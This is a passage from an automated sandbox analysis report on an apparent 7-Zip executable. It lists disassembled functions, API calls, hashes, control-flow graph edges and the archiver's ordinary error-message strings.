                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove$ErrorExceptionLastThrow
                                                                                                                                                                                                                                                              • String ID: Can not create output directory:
                                                                                                                                                                                                                                                              • API String ID: 4159955631-3123869724
                                                                                                                                                                                                                                                              • Opcode ID: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
                                                                                                                                                                                                                                                              • Instruction ID: ac24de8c8195e56859079280bf454e3c3e31bb20681d038700344c1dbc93cfcd
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 93427E72619AC196CA70EF25E8903EEB362F7C6780F445226DB8D47B19DF38C995CB04
                                                                                                                                                                                                                                                              Function 006D5458 Relevance: 74.2, APIs: 47, Strings: 2, Instructions: 702COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 2037 6d5458-6d54e2 2038 6d54e4-6d54f0 2037->2038 2039 6d54f2-6d54f6 2037->2039 2040 6d54fe-6d5504 2038->2040 2039->2040 2041 6d55ec-6d55fd 2040->2041 2042 6d550a 2040->2042 2044 6d55ff-6d560a call 6b2130 2041->2044 2045 6d5612-6d5615 2041->2045 2043 6d550d-6d5538 call 6b7d28 call 6b3208 2042->2043 2058 6d556c-6d559c call 6bb8f0 free 2043->2058 2059 6d553a-6d554c call 6b7ebc 2043->2059 2044->2045 2048 6d5624-6d5639 call 6b2130 2045->2048 2049 6d5617-6d561f memset 2045->2049 2056 6d5648 2048->2056 2057 6d563b-6d563e call 6c3524 2048->2057 2049->2048 2061 6d564b-6d5656 2056->2061 2064 6d5643-6d5646 2057->2064 2058->2043 2074 6d55a2 2058->2074 2068 6d5551-6d5554 2059->2068 2065 6d5658-6d5661 2061->2065 2066 6d5662-6d56d1 call 6d43b0 2061->2066 2064->2061 2065->2066 2076 6d56fd-6d5715 2066->2076 2077 6d56d3-6d56e3 2066->2077 2072 6d55a4-6d55c7 _CxxThrowException 2068->2072 2073 6d5556-6d5562 2068->2073 2075 6d55c8-6d55eb _CxxThrowException 2072->2075 2073->2075 2078 6d5564 2073->2078 2074->2041 2075->2041 2079 6d5f1d-6d5f22 2076->2079 2080 6d571b-6d571e 2076->2080 2077->2076 2086 6d56e5-6d56f8 free 2077->2086 2078->2058 2081 6d5f29-6d5f3d 2079->2081 2082 6d5f24-6d5f27 2079->2082 2084 6d5726-6d572a 2080->2084 2094 6d5f3f-6d5f52 free 2081->2094 2095 6d5f54-6d5f67 2081->2095 2082->2081 2085 6d5f8d-6d6002 free * 2 2082->2085 2087 6d5c37-6d5c50 2084->2087 2088 6d5730-6d575f call 6b7d28 call 6b3208 2084->2088 2098 6d6004-6d6017 2085->2098 2099 6d5f7c-6d5f8b free 2086->2099 2087->2084 2089 6d5c56-6d5c5a 2087->2089 2103 6d5761-6d5770 2088->2103 2104 6d5772-6d577e call 6b7ebc 2088->2104 2089->2079 2094->2099 2095->2085 2105 6d5f69-6d5f7b free 2095->2105 2099->2098 2106 6d579e-6d57b4 call 6f1544 2103->2106 2108 6d5783-6d5786 2104->2108 2105->2099 2113 6d5c5f-6d5c80 free * 2 2106->2113 2114 6d57ba-6d586c call 6d4504 call 6d42a8 call 6d40c4 call 6b3404 call 6e4c00 2106->2114 2110 6d578c-6d5798 2108->2110 2111 6d5ef9-6d5f1c _CxxThrowException 2108->2111 2110->2106 2110->2111 2111->2079 2113->2099 2126 6d587d-6d5883 2114->2126 2127 6d586e-6d5876 2114->2127 2128 6d5889-6d58b3 call 6f1bc0 2126->2128 2130 6d5c85-6d5c9e free 2126->2130 2127->2128 2129 6d5878 2127->2129 2136 6d58b9-6d58bc 2128->2136 2137 6d5d02-6d5d1e free 2128->2137 2129->2126 2131 6d5cbe-6d5cfd free call 6d4610 free * 2 2130->2131 2132 6d5ca0 2130->2132 2131->2099 2134 6d5ca4-6d5cbc free 2132->2134 2134->2131 2134->2134 2141 6d59b1-6d59bd 2136->2141 2142 6d58c2-6d58d3 2136->2142 2139 6d5d3e-6d5d7b free call 6d4610 free * 2 2137->2139 2140 6d5d20 2137->2140 2139->2099 2146 6d5d24-6d5d3c free 2140->2146 2143 6d5a8e-6d5a93 2141->2143 2144 6d59c3-6d59cd 2141->2144 2148 6d58d5-6d5907 call 6b7d28 call 6b3208 call 6b7ebc 2142->2148 2149 6d5933 2142->2149 2150 6d5aa1-6d5ab9 2143->2150 2151 6d5a95-6d5a9a 2144->2151 2152 6d59d3-6d59e1 2144->2152 2146->2139 2146->2146 2189 6d5909-6d5915 2148->2189 2190 6d5924-6d5931 free 2148->2190 2154 6d5936-6d594f free 2149->2154 2159 6d5acc 2150->2159 2160 6d5abb-6d5ac3 2150->2160 2151->2150 2157 6d5a55-6d5a58 2152->2157 2158 6d59e3-6d59ed 2152->2158 2161 6d596f-6d59ac free call 6d4610 free 2154->2161 2162 6d5951 2154->2162 2168 6d5a9c 2157->2168 2169 6d5a5a-6d5a86 2157->2169 2164 6d59f5-6d5a11 call 6d4434 2158->2164 2166 6d5acf-6d5b54 call 6d47ac 2159->2166 2160->2159 2165 6d5ac5-6d5aca 2160->2165 2161->2087 2170 6d5955-6d596d free 2162->2170 2181 6d5a21-6d5a30 2164->2181 2182 6d5a13-6d5a15 2164->2182 2165->2166 2183 6d5dfe-6d5e1a free 2166->2183 2184 6d5b5a-6d5b61 2166->2184 2168->2150 2185 6d5a8c 2169->2185 2186 6d5d80-6d5d9c free 2169->2186 2170->2161 2170->2170 2181->2164 2192 6d5a32-6d5a52 2181->2192 2182->2181 2191 6d5a17-6d5a1d 2182->2191 2187 6d5e1c 2183->2187 2188 6d5e3a-6d5e77 free call 6d4610 free * 2 2183->2188 2193 6d5b80 2184->2193 2194 6d5b63-6d5b7e 2184->2194 2185->2150 2195 6d5dbc-6d5df9 free call 6d4610 free * 2 2186->2195 2196 6d5d9e 2186->2196 2197 6d5e20-6d5e38 free 2187->2197 2188->2099 2189->2190 2199 6d5917-6d591f 2189->2199 2190->2154 2191->2181 2192->2157 2200 6d5b88-6d5bb6 2193->2200 2194->2200 2195->2099 2201 6d5da2-6d5dba free 2196->2201 2197->2188 2197->2197 2199->2190 2204 6d5e7c-6d5e95 free 2200->2204 2205 6d5bbc-6d5bd6 free 2200->2205 2201->2195 2201->2201 2207 6d5eb5-6d5ef4 free call 6d4610 free * 2 2204->2207 2208 6d5e97 2204->2208 2209 6d5bff-6d5c12 free call 6d4610 2205->2209 2210 6d5bd8-6d5bdc 2205->2210 2207->2099 2214 6d5e9b-6d5eb3 free 2208->2214 2218 6d5c17-6d5c35 free 2209->2218 2216 6d5bde-6d5bf5 free 2210->2216 2214->2207 2214->2214 2216->2216 2217 6d5bf7 2216->2217 2217->2209 2218->2087
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrow$memset
                                                                                                                                                                                                                                                              • String ID: can't decompress folder$there is no such archive
                                                                                                                                                                                                                                                              • API String ID: 4182836161-2069749860
                                                                                                                                                                                                                                                              • Opcode ID: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
                                                                                                                                                                                                                                                              • Instruction ID: 50d8b0ff1c7322804d4b92ebe9e96fb2b897e6c31adea5a157d681d4cd7f51af
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7D526E72609AC186CA60DF29E4943EEB762F785B90F445216DF9E53F25CF38C895CB04
                                                                                                                                                                                                                                                              Function 006DF13E Relevance: 59.4, APIs: 47, Instructions: 683COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
                                                                                                                                                                                                                                                              • Instruction ID: 57455a3d1cb0782acf4e28b9bce20fa336ade44c6881d582faecaa26b5438d48
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B642707660ABC086CB60DF25E0A06EE77A6F786B88F555016EB4F47B15CF39C489C704
                                                                                                                                                                                                                                                              Function 006C0DCC Relevance: 51.4, APIs: 17, Strings: 12, Instructions: 652COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • I won't write compressed data to a terminal, xrefs: 006C1741
                                                                                                                                                                                                                                                              • Unsupported command:, xrefs: 006C0E57
                                                                                                                                                                                                                                                              • Archive name cannot by empty, xrefs: 006C1151
                                                                                                                                                                                                                                                              • Cannot find archive name, xrefs: 006C110A
                                                                                                                                                                                                                                                              • Cannot use absolute pathnames for this command, xrefs: 006C138C
                                                                                                                                                                                                                                                              • Only one archive can be created with rename command, xrefs: 006C17E1
                                                                                                                                                                                                                                                              • The command must be specified, xrefs: 006C0DF5
                                                                                                                                                                                                                                                              • I won't write data and program's messages to same stream, xrefs: 006C14B3, 006C1782
                                                                                                                                                                                                                                                              • -ai switch is not supported for this command, xrefs: 006C15C3
                                                                                                                                                                                                                                                              • stdout mode and email mode cannot be combined, xrefs: 006C1710
                                                                                                                                                                                                                                                              • Incorrect Number of benmchmark iterations, xrefs: 006C1847
                                                                                                                                                                                                                                                              • Unsupported -spf:, xrefs: 006C0F7E
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrow$free$wcscmp
                                                                                                                                                                                                                                                              • String ID: -ai switch is not supported for this command$Archive name cannot by empty$Cannot find archive name$Cannot use absolute pathnames for this command$I won't write compressed data to a terminal$I won't write data and program's messages to same stream$Incorrect Number of benmchmark iterations$Only one archive can be created with rename command$The command must be specified$Unsupported -spf:$Unsupported command:$stdout mode and email mode cannot be combined
                                                                                                                                                                                                                                                              • API String ID: 1252877886-1892825451
                                                                                                                                                                                                                                                              • Opcode ID: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
                                                                                                                                                                                                                                                              • Instruction ID: 56c605396ea21b45f827a8a046d04f93ad27abf18f134394a10d7e23c6103aa9
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2052E4B67086C5A6DB28CF29D1907FEBB62F356744F88801AD79907B12DB39D5B8C700
                                                                                                                                                                                                                                                              Function 006C1D04 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 56COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CloseHandle$ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                                                                                                              • String ID: SeSecurityPrivilege
                                                                                                                                                                                                                                                              • API String ID: 1313864721-2333288578
                                                                                                                                                                                                                                                              • Opcode ID: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
                                                                                                                                                                                                                                                              • Instruction ID: 91ee4f7f14242a230f123aa674d0f88981f6309a89d13ed62b602f107dff7c58
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D2115E72204B41C2DA00DB12F9547B9B3A7FFC6B85F940526EA8B86B59CF3DE459CB10
                                                                                                                                                                                                                                                              Function 006BAC74 Relevance: 9.0, APIs: 6, Instructions: 45COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • GetCurrentProcess.KERNEL32 ref: 006BAC84
                                                                                                                                                                                                                                                              • OpenProcessToken.ADVAPI32 ref: 006BAC95
                                                                                                                                                                                                                                                              • LookupPrivilegeValueW.ADVAPI32 ref: 006BACA9
                                                                                                                                                                                                                                                              • AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?,?,FFFFFFFF,?,006BF928), ref: 006BACE0
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,FFFFFFFF,?,006BF928), ref: 006BACEA
                                                                                                                                                                                                                                                              • CloseHandle.KERNELBASE ref: 006BACFA
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3398352648-0
                                                                                                                                                                                                                                                              • Opcode ID: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
                                                                                                                                                                                                                                                              • Instruction ID: 40eea7afa295ef4efd618c7008879388619891c69fad675e5c593a0fe313b7bc
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6D01807261468287DB208FA0F8907EA7362FB80B85F545135EB4A82B54CF3DC89DCB00
                                                                                                                                                                                                                                                              Function 006B7978 Relevance: 4.6, APIs: 3, Instructions: 70fileCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B794C: FindClose.KERNELBASE ref: 006B795E
                                                                                                                                                                                                                                                              • FindFirstFileW.KERNELBASE ref: 006B79BA
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: free.MSVCRT ref: 006B33D7
                                                                                                                                                                                                                                                                • Part of subcall function 006B339C: memmove.MSVCRT(00000000,?,?,00000000,006B10A8), ref: 006B33F2
                                                                                                                                                                                                                                                              • FindFirstFileW.KERNELBASE ref: 006B79FA
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B7A08
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Find$FileFirstfree$Closememmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2921071498-0
                                                                                                                                                                                                                                                              • Opcode ID: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
                                                                                                                                                                                                                                                              • Instruction ID: 442d1bcefab4b088368e1260943944e06c5668c052ef17c7ef77734600862313
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2B213EB7208A8086CB61DF24E4503ED6366F78A7B8F544324EAB9877D9DF38CA45C700
                                                                                                                                                                                                                                                              Function 006C4418 Relevance: 221.1, APIs: 132, Strings: 14, Instructions: 2096COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID: hm$Can not create file with auto name$Can not create hard link$Can not create symbolic link$Can not delete output file$Can not delete output folder$Can not open output file$Can not rename existing file$Can not seek to begin of file$Can not set length for output file$Dangerous link path was ignored$Incorrect path$Internal error for symbolic link file$\??\
                                                                                                                                                                                                                                                              • API String ID: 0-341573866
                                                                                                                                                                                                                                                              • Opcode ID: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
                                                                                                                                                                                                                                                              • Instruction ID: 6c2ae246413e9768f28e400df61dc76ff2037886042fddf00fa5c79aaaaa259f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A9039172248A8182CA74EB25E460BFEB762F7C5BC0F54411AEB9E43B25DF78D985C704
                                                                                                                                                                                                                                                              Function 006F950D Relevance: 116.2, APIs: 48, Strings: 18, Instructions: 748COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 1016 6f950d-6f9510 1017 6f9516-6f9529 call 6bed74 1016->1017 1018 6f9a40-6f9a8e call 6b2130 1016->1018 1024 6f952f-6f9537 1017->1024 1025 6f9820-6f9828 1017->1025 1028 6f9aa2 1018->1028 1029 6f9a90-6f9aa0 call 6b3314 1018->1029 1030 6f9539-6f9541 1024->1030 1031 6f9557-6f95d5 call 6f3230 call 6b3208 1024->1031 1026 6f982e-6f983f call 6f78a8 1025->1026 1027 6f99e4-6f99ee 1025->1027 1048 6f984c-6f994d call 6f6990 call 6b2bc8 call 6d7880 call 6b2bc8 call 6b2cdc call 6f6c04 1026->1048 1049 6f9841-6f9845 1026->1049 1034 6f9a20-6f9a3f _CxxThrowException 1027->1034 1035 6f99f0-6f9a1b call 6b2300 fputs * 2 call 6b2300 1027->1035 1032 6f9aa5-6f9ac8 call 6bb8f0 call 6b2130 1028->1032 1029->1032 1030->1031 1038 6f9543-6f9552 call 6b3518 1030->1038 1056 6f95d7-6f95df 1031->1056 1057 6f95e5 1031->1057 1059 6f9adc 1032->1059 1060 6f9aca-6f9ada call 6b3314 1032->1060 1034->1018 1035->1034 1038->1031 1101 6f994f 1048->1101 1102 6f9980-6f99df free * 5 call 6f6a20 1048->1102 1049->1048 1056->1057 1061 6f95e1-6f95e3 1056->1061 1062 6f95e8-6f9631 call 6b3404 call 6f780c 1057->1062 1065 6f9adf-6f9c8b call 6bb8f0 call 6b2130 1059->1065 1060->1065 1061->1062 1079 6f963e-6f964d 1062->1079 1080 6f9633-6f9637 1062->1080 1089 6f9c8d-6f9c98 call 6f7414 1065->1089 1090 6f9c9a 1065->1090 1081 6f964f-6f9657 1079->1081 1082 6f9663 1079->1082 1080->1079 1081->1082 1086 6f9659-6f9661 1081->1086 1087 6f966b-6f972c call 6b3404 call 6f6990 call 6b2bc8 1082->1087 1086->1087 1119 6f972f call 6e99b8 1087->1119 1094 6f9c9d-6f9ca8 1089->1094 1090->1094 1098 6f9caa-6f9cb3 1094->1098 1099 6f9cb4-6f9d77 call 6b3404 1094->1099 1098->1099 1115 6f9d79-6f9d7d 1099->1115 1116 6f9d83-6f9e8a call 6f71ec call 6b3404 call 6bef70 call 6b3208 call 6d6be0 1099->1116 1106 6f9953-6f9969 1101->1106 1113 6fa5ad-6fa5b5 1102->1113 1111 6f997b-6f997e 1106->1111 1112 6f996b-6f9976 free * 2 1106->1112 1111->1102 1111->1106 1112->1111 1117 6fa5b7-6fa5be 1113->1117 1118 6fa5c5-6fa5c8 1113->1118 1115->1116 1160 6f9e8c-6f9eb4 call 6d6e08 1116->1160 1161 6f9ed2-6f9f44 call 6d5458 1116->1161 1117->1118 1121 6fa5c0 1117->1121 1122 6fa5ca-6fa5e6 _CxxThrowException 1118->1122 1123 6fa5e7-6fa603 free 1118->1123 1124 6f9734-6f973f 1119->1124 1127 6fa5c0 call 6f66a8 1121->1127 1122->1123 1128 6fa626-6fa637 free call 6da13c 1123->1128 1129 6fa605 1123->1129 1130 6f9741-6f974b call 6fb1c8 1124->1130 1131 6f9750-6f9798 call 6f6c04 1124->1131 1127->1118 1139 6fa63c-6fa675 call 6f7080 call 6b182c call 6f7f50 1128->1139 1133 6fa609-6fa624 free 1129->1133 1130->1131 1140 6f97cb-6f981b free * 3 call 6f6a20 free call 6fb310 1131->1140 1141 6f979a 1131->1141 1133->1128 1133->1133 1162 6fa6a8-6fa6c9 free 1139->1162 1163 6fa677 1139->1163 1140->1113 1144 6f979e-6f97b4 1141->1144 1148 6f97c6-6f97c9 1144->1148 1149 6f97b6-6f97c1 free * 2 1144->1149 1148->1140 1148->1144 1149->1148 1160->1161 1172 6f9eb6-6f9ed1 _CxxThrowException 1160->1172 1169 6f9f49-6f9f53 1161->1169 1166 6fa67b-6fa691 1163->1166 1170 6fa6a3-6fa6a6 1166->1170 1171 6fa693-6fa69e free * 2 1166->1171 1173 6f9f55-6f9f5b call 6fb1c8 1169->1173 1174 6f9f60-6f9f68 1169->1174 1170->1162 1170->1166 1171->1170 1172->1161 1173->1174 1176 6f9fbd-6f9fca 1174->1176 1177 6f9f6a-6f9f74 1174->1177 1180 6fa02c-6fa033 1176->1180 1181 6f9fcc-6f9fcf call 6b2300 1176->1181 1178 6f9f76-6f9fac call 6b2300 fputs call 6b2300 call 6b2320 call 6b2300 1177->1178 1179 6f9fb1-6f9fb9 1177->1179 1178->1179 1179->1176 1183 6fa035-6fa03a 1180->1183 1184 6fa063-6fa06a 1180->1184 1190 6f9fd4-6f9fdc 1181->1190 1183->1184 1187 6fa03c-6fa05e fputs call 6b26a0 call 6b2300 1183->1187 1188 6fa09e-6fa0a1 1184->1188 1189 6fa06c-6fa071 1184->1189 1187->1184 1192 6fa114-6fa11b 1188->1192 1194 6fa0a3-6fa0aa 1188->1194 1191 6fa077-6fa099 fputs call 6b26a0 call 6b2300 1189->1191 1189->1192 1190->1180 1193 6f9fde-6fa027 fputs call 6b26a0 call 6b2300 fputs call 6b26a0 call 6b2300 1190->1193 1191->1188 1199 6fa11d-6fa122 1192->1199 1200 6fa15c-6fa15f 1192->1200 1193->1180 1201 6fa0ac-6fa0ce fputs call 6b26a0 call 6b2300 1194->1201 1202 6fa0d3-6fa0da 1194->1202 1207 6fa124-6fa133 call 6b2300 1199->1207 1208 6fa161 1199->1208 1200->1208 1212 6fa16c-6fa16f 1200->1212 1201->1202 1202->1192 1211 6fa0dc-6fa0eb call 6b2300 1202->1211 1207->1208 1233 6fa135-6fa157 fputs call 6b26a0 call 6b2300 1207->1233 1208->1212 1211->1192 1234 6fa0ed-6fa10f fputs call 6b26a0 call 6b2300 1211->1234 1220 6fa175-6fa17c 1212->1220 1221 6fa320-6fa50a free * 2 call 6d6b58 free call 6f7968 1212->1221 1228 6fa2e7-6fa2f6 call 6b2300 1220->1228 1229 6fa182-6fa189 1220->1229 1265 6fa53d-6fa559 free 1221->1265 1266 6fa50c 1221->1266 1228->1221 1247 6fa2f8-6fa31f fputs call 6b26a0 call 6b2300 1228->1247 1229->1228 1230 6fa18f-6fa192 1229->1230 1230->1221 1237 6fa198-6fa1a3 1230->1237 1233->1200 